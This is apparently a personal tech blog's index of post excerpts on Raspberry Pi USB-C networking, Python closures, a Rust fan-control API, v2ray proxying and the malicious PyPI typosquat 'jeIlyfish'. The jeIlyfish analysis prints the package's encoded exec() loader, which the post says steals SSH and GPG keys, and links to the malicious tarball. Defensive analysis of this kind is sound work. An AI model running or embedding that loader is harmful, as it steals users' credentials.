iPad 与 Raspberry Pi 4 通过 Type-C 直连 —— VNC 篇

上一篇折腾的时候其实只是提了一下,理论上直连之后还可以用 VNC,于是今天来实际实验一下 VNC 2333333

在完成上一篇的操作之后,已经可以直接在 iPad 上直连 Raspberry Pi 了,要加上 VNC 的话,需要如下步骤~

  1. 打开 VNC 功能
  2. 手动设定分辨率 (Optional)
  3. 设置 Raspberry Pi 默认启动到桌面
  4. 在 iPad 上使用 VNC 接连 Raspberry Pi
  5. 设置 Raspberry Pi 默认使用 Wi-Fi / Ethernet 连接网络
Continue reading iPad 与 Raspberry Pi 4 通过 Type-C 直连 —— VNC 篇

iPad 与 Raspberry Pi 4 通过 Type-C 直连 —— SSH 篇

因为 Raspberry Pi 4 现在有了 Type-C 线,并且它的 Type-C 接口不仅仅是供电,还包括了 OTG 功能,此外还支持 Etherne。于是想法就是 Raspberry Pi 4 ⇆ Type C ⇆ iPad,一根线解决供电与数据的问题~ (⁎⁍̴̛ᴗ⁍̴̛⁎)

要打开 Raspberry Pi 的 OTG 功能倒是很简单,先是修改 /boot/config.txt,在新的行里加上

# Enable USB OTG like ethernet
dtoverlay=dwc2

然后是 /boot/cmdline.txt,这个则是直接加在 rootwait 的后面,当然,rootwait 和我们增加的内容之间是有一个空格的~

modules-load=dwc2,g_ether g_ether.host_addr=25:25:2c:0c:0a:00

这两个文件编辑完之后大概如下~

接下来的话,则是需要手动设置一下 Raspberry Pi 上的 IP,如果你的电脑可以直接读写 Micro SD 卡上的 rootfs 分区的话,那么就可以直接编辑 /etc/dhcpcd.conf 这个文件;否则的话,就按老方法 SSH 到 Raspberry Pi 上编辑 /etc/dhcpcd.conf

这里我们需要配置的是 usb0 这个接口上的 IP。不过 iPad 似乎不能作为 Router,所以就让 Raspberry Pi 当 Router 好啦。在 /etc/dhcpcd.conf 这个文件里新增如下内容,给 usb0 接口设置一个静态 IP

interface usb0
static ip_address=10.42.0.1/24
static routers=10.42.0.1
Continue reading iPad 与 Raspberry Pi 4 通过 Type-C 直连 —— SSH 篇

Notes about How Closure in Python 3 Captures Variables

Just 2 notes about how closure in Python 3 captures variables.

Note 1.

The wrong way

def make_multipiler_the_wrong_way():
    multipilers = []
    # Tries to remember each i
    for i in range(5):
        # All remember same last i
        multipilers.append(lambda x: i * x) 
    return multipilers

if __name__ == "__main__":
    m = make_multipiler_the_wrong_way()
    for i in range(5):
        print(m[i](3))

The output is

12
12
12
12
12

So the right way should be

def make_multipiler_the_right_way():
    def make_lambda(i):
        # when the closure is made
        # i is captured/bound in the scope of `make_lambda(i)`
        # so it won't change anymore
        return lambda x: i * x

    multipilers = []
    for i in range(5):
        multipilers.append(make_lambda(i))
    return multipilers

if __name__ == "__main__":
    m = make_multipiler_the_right_way()
    for i in range(5):
        print(m[i](3))
Continue reading Notes about How Closure in Python 3 Captures Variables

Ex Machina 「机械姬」里的小彩蛋

今天在 Netflix 上看了 Ex Machina 「机械姬」这部电影,又是一部与强人工智能「Artificial General Intelligence」相关联、讨论 Consciousness, Self-awarenesses, Mind, Embodiedment 的电影~

话说自从跟着玲做了某项目之后,貌似看到的电影几乎都是关于这些的(((o(*゚▽゚*)o))),仿佛打开了新世界的大门!

不过这篇 post 只是先记录一下在电影中看到的小彩蛋~

当男主 Caleb 决定救出 Ava 的时候,Caleb 拿了 Nathan 的门禁卡去修稿安保程序,然而开了电脑之后却开始拿 Python 3 输入 Sieve of Eratosthenes 算法!(不是,Celeb 你想去救 Ava 我懂,但是你偷了 Nathan 的卡打开了电脑,就是为了拿 Python 写个 Sieve of Eratosthenes 算法求质数吗╮( ̄▽ ̄"")╭

不过蛮好奇有什么输出,于是我等着 Caleb 输入完之后,我照着敲了一遍~代码如下(^O^)

Continue reading Ex Machina 「机械姬」里的小彩蛋

有毒的 "jeIlyfish" —— Python 3 恶意库

前两天有人发现了在 PyPI (Python Package Index) 上存在一个恶意库 —— jeIlyfish。其通过将正常拼写的 jellyfish 的第一个小写 l 替换成大写的 I 来达成伪装的目的。如果你使用的字体难以区分小写 l 和大写的 I 的话,那么就有可能遇到这样的恶意库的风险。因此推荐在编码的时候使用等宽字体,如 Menlo, Monaco, Osaka-Mono 等。

这个恶意库被安装使用之后,会尝试偷取用户的 SSH 和 GPG Keys。那么简单分析一下它是怎么写的。

昨天在清华大学的 TUNA 镜像上还能下载到恶意的 jeIlyfish 库,现在同步之后估计可能没了。

https://pypi.tuna.tsinghua.edu.cn/packages/cb/6c/8b9d8a603431397d72118cea8e474ce009f7b7c9d86d653085376562f793/jeIlyfish-0.7.1.tar.gz#sha256=1a6b4c155e112ab09f02765b8b423eb21cb6ae5cb9a5f3841a6c85e2f4735f04

解压之后,其目录结构如下

➜  jeIlyfish-0.7.1 tree .
.
├── LICENSE
├── MANIFEST.in
├── PKG-INFO
├── README.rst
├── docs
│   ├── Makefile
│   ├── changelog.rst
│   ├── comparison.rst
│   ├── conf.py
│   ├── index.rst
│   ├── phonetic.rst
│   └── stemming.rst
├── jeIlyfish
│   ├── __init__.py
│   ├── _jellyfish.py
│   ├── porter.py
│   └── test.py
├── jeIlyfish.egg-info
│   ├── PKG-INFO
│   ├── SOURCES.txt
│   ├── dependency_links.txt
│   └── top_level.txt
├── setup.cfg
└── setup.py

于是重点关注 .py 结尾的文件,在其 jeIlyfish/_jellyfish.py 文件中,第 313 行到第 338 行,有这么一段代码

import zlib
import base64


ZAUTHSS = ''
ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz'
ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa'
ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2'
ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH'
ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+'
ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf'
ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b'
ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP'
ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg'
ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF'
ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR'
ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp'
ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk'
ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz'
ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk='


ZAUTHSS = base64.b64decode(ZAUTHSS)
ZAUTHSS = zlib.decompress(ZAUTHSS)
if ZAUTHSS:
    exec(ZAUTHSS)

显然是一段先被 zip 压缩,然后 based64 编码的数据。那么我们这里就把原作者在这段代码中最后的 exec 换成 print,看看原始数据是什么

ZAUTHSS = base64.b64decode(ZAUTHSS)
ZAUTHSS = zlib.decompress(ZAUTHSS)
if ZAUTHSS:
    print(str(ZAUTHSS, encoding='utf-8'))
Continue reading 有毒的 "jeIlyfish" —— Python 3 恶意库

从零开始的 Rust 学习笔记(11) —— 让 Breezin 用上 RESTful API 和 Access Token

於是接著上一篇 Rust 學習筆記,讓上次寫的 Breezin 用上 RESTful API 和 Access Token~之前的 HTTP API 的話就是特別樸素的那種,比如

http://10.0.1.2:2275/get?name=fan1
http://10.0.1.2:2275/set?name=fan1&value=2000
http://10.0.1.2:2275/set?name=fan1&value=auto

並且上面的都是 GET 請求,好處就是在瀏覽器裡手動輸入相應的 API 和引數就能呼叫;壞處就是非常不 RESTful,表示是否成功的狀態碼只在返回的 JSON 中,而 HTTP 的狀態碼都是 HTTP 200 OK;其次,動詞 setget 都在 URL 中出現,而不是像 RESTful API 規範的那樣,體現在 HTTP Method 上。

使用 RESTful API 的話,我們的請求就是如下樣子的了~

请求数据

HTTP MethodAPI EndpointDescription
GEThttp://10.0.1.2:2275/api/v1/fansGet all fans status
GEThttp://10.0.1.2:2275/api/v1/fans/:idGet fan status of given :id
GEThttp://10.0.1.2:2275/api/v1/tempsGet all smc temperature sensors' status
PUThttp://10.0.1.2:2275/api/v1/fans/:idUpdate specified property of fan with :id

當然,更新風扇的屬性的話,實際上可寫入的就只有 3 個 —— min, manualoutput。那麼要傳值的話,肯定就是放在 PUT 方法的 body 裡面了~

例如需要設定 fan1 的最低 RPM 為 2000 的話,那麼就使用 PUT 方法訪問的 API Endpoint 是 http://10.0.1.2:2275/api/v1/fans/1,其 body 為

{
  "property": "min",
  "value": 2000
}

同時,因為選擇哪一個風扇是在 URI 上確定的,因此也需要用一下正則表達式去匹配。這裡我們用到的正則表達式如下~

Continue reading 从零开始的 Rust 学习笔记(11) —— 让 Breezin 用上 RESTful API 和 Access Token

Ubuntu Linux 部署 v2ray 软路由做透明代理

就当是笔记啦 ╮( ̄▽ ̄"")╭ 感谢 Project V 及其所有 contributors

下面的脚本唯一 assumed 的是服务器那边 v2ray 开启了 mKCP,具体 assumed 的 mKCP 配置如下

"streamSettings": {
    "tlsSettings": {
        "allowInsecure": true
    },
    "security": "none",
    "kcpSettings": {
        "header": {
            "type": "srtp"
        },
        "mtu": 1350,
        "congestion": true,
        "tti": 20,
        "uplinkCapacity": 100,
        "writeBufferSize": 1,
        "readBufferSize": 1,
        "downlinkCapacity": 200
    },
    "network": "kcp"
},

要使用的话,要么改一下自己服务器那边的配置,要么就改一下下面脚本中高亮的部分即可~(总之保持一致就可以( ´▽`)

Continue reading Ubuntu Linux 部署 v2ray 软路由做透明代理

从零开始的 Rust 学习笔记(10) —— Breezin

家裡有一臺半閒置的 12 年的 Mac Mini,之前偶爾跑點 Docker 的東西,順便還有把一臺超舊的印表機共享到局域網裡。不過想想應該拿它做點別的事,比如裝個 Linux 然後搭上 v2ray 做軟路由實現透明代理,然後再裝個 Docker 偶爾測試自己寫的 Linux 的東西~

不過這一篇 post 並不是寫如何用 v2ray 在 Linux 上搭軟路由,而是想起現在的軟路由用的是 Raspberry Pi 4。Raspberry Pi 4 在實際使用的時候還是不錯的,但是發熱量比較大,以及 softirq 看起來略有點爆炸 233333

因為打算用 Raspberry Pi 4 做點別的專案,那麼軟路由透明代理的 workload 就交給 Mac Mini 好啦,再寫個程式手動控制一下 Mac Mini 的風扇轉速~這樣就不會因為 workload 比較大,然後晚上風扇轉速太高影響睡眠? 白天的時候倒是基本無所謂。測試的時候發現 3000-3300 RPM 幾乎聽不到聲音,同時也比最低速 1800 RPM 高出一截,不太會因為過熱而出現問題~(╹ڡ╹)

那麼名字就叫 Breezin 好啦(一邊聽彩彩的 Breezin' 一邊寫~

當然,僅僅說完成功能的話,Shell Script 都完全足夠,但是既然是正好在玩 Rust 的話,那就用 Rust 寫來玩玩吧(*^3^)

在 Mac Mini 上安裝了 Ubuntu 18.04 LTS 之後,SMC 報告的風扇和溫度等資訊都被對映在了 /sys/devices/platform/applesmc.768

➜ ~ ls /sys/devices/platform/applesmc.768/fan*
-r--r--r-- 1 root root 4096 12  3 14:52 /sys/devices/platform/applesmc.768/fan1_input
-r--r--r-- 1 root root 4096 12  3 14:52 /sys/devices/platform/applesmc.768/fan1_label
-rw-r--r-- 1 root root 4096 12  3 14:53 /sys/devices/platform/applesmc.768/fan1_manual
-r--r--r-- 1 root root 4096 12  3 14:52 /sys/devices/platform/applesmc.768/fan1_max
-rw-r--r-- 1 root root 4096 12  3 14:54 /sys/devices/platform/applesmc.768/fan1_min
-rw-r--r-- 1 root root 4096 12  3 14:53 /sys/devices/platform/applesmc.768/fan1_output
-r--r--r-- 1 root root 4096 12  3 14:52 /sys/devices/platform/applesmc.768/fan1_safe

這裡可以看到實際可寫入的只有 fan1_manual, fan1_minfan1_output

fan1_label 裡面儲存了風扇的名字。fan1_manual 實際上會被解釋成一個 Boolean 值,0 代表系統控制,1 代表手動設定。

fan1_min 是對應風扇的最低的 RPM,這個是我們可以控制的。相應的 fan1_max 則是最大轉速,但是不能限制風扇的最大轉速。

fan1_input 是表示當前風扇報告的 RPM,但是是一個只讀的量。fan1_output 表示需要對應風扇達到的 RPM,當 fan1_manual 的值為 1 時有效,否則寫入之後也會被系統覆蓋(即自動控制轉速)。

最後的 fan1_safe 看起來大概是該風扇的最低?安全轉速,然而雖然寫了可讀,實際測試的時候並不可讀(也許是 Ubuntu 下 SMC 驅動的問題?)。

➜ ~ cat /sys/devices/platform/applesmc.768/fan1_safe
cat: /sys/devices/platform/applesmc.768/fan1_safe: Invalid argument

在知道了這些對應的對映之後,想法就是在使用者請求資訊的時候,去 glob /sys/devices/platform/applesmc.768/fan*,然後做成 JSON 資料返回。在使用者設定的風扇轉速的時候,就寫入到對應的 output 裡面,並將 manual 設定為 1

於是設想就是做一個 HTTP API,假如 IP 是 10.0.1.2,服務執行在 2275 埠的話,那麼要做的就是如下 2 個 API

Continue reading 从零开始的 Rust 学习笔记(10) —— Breezin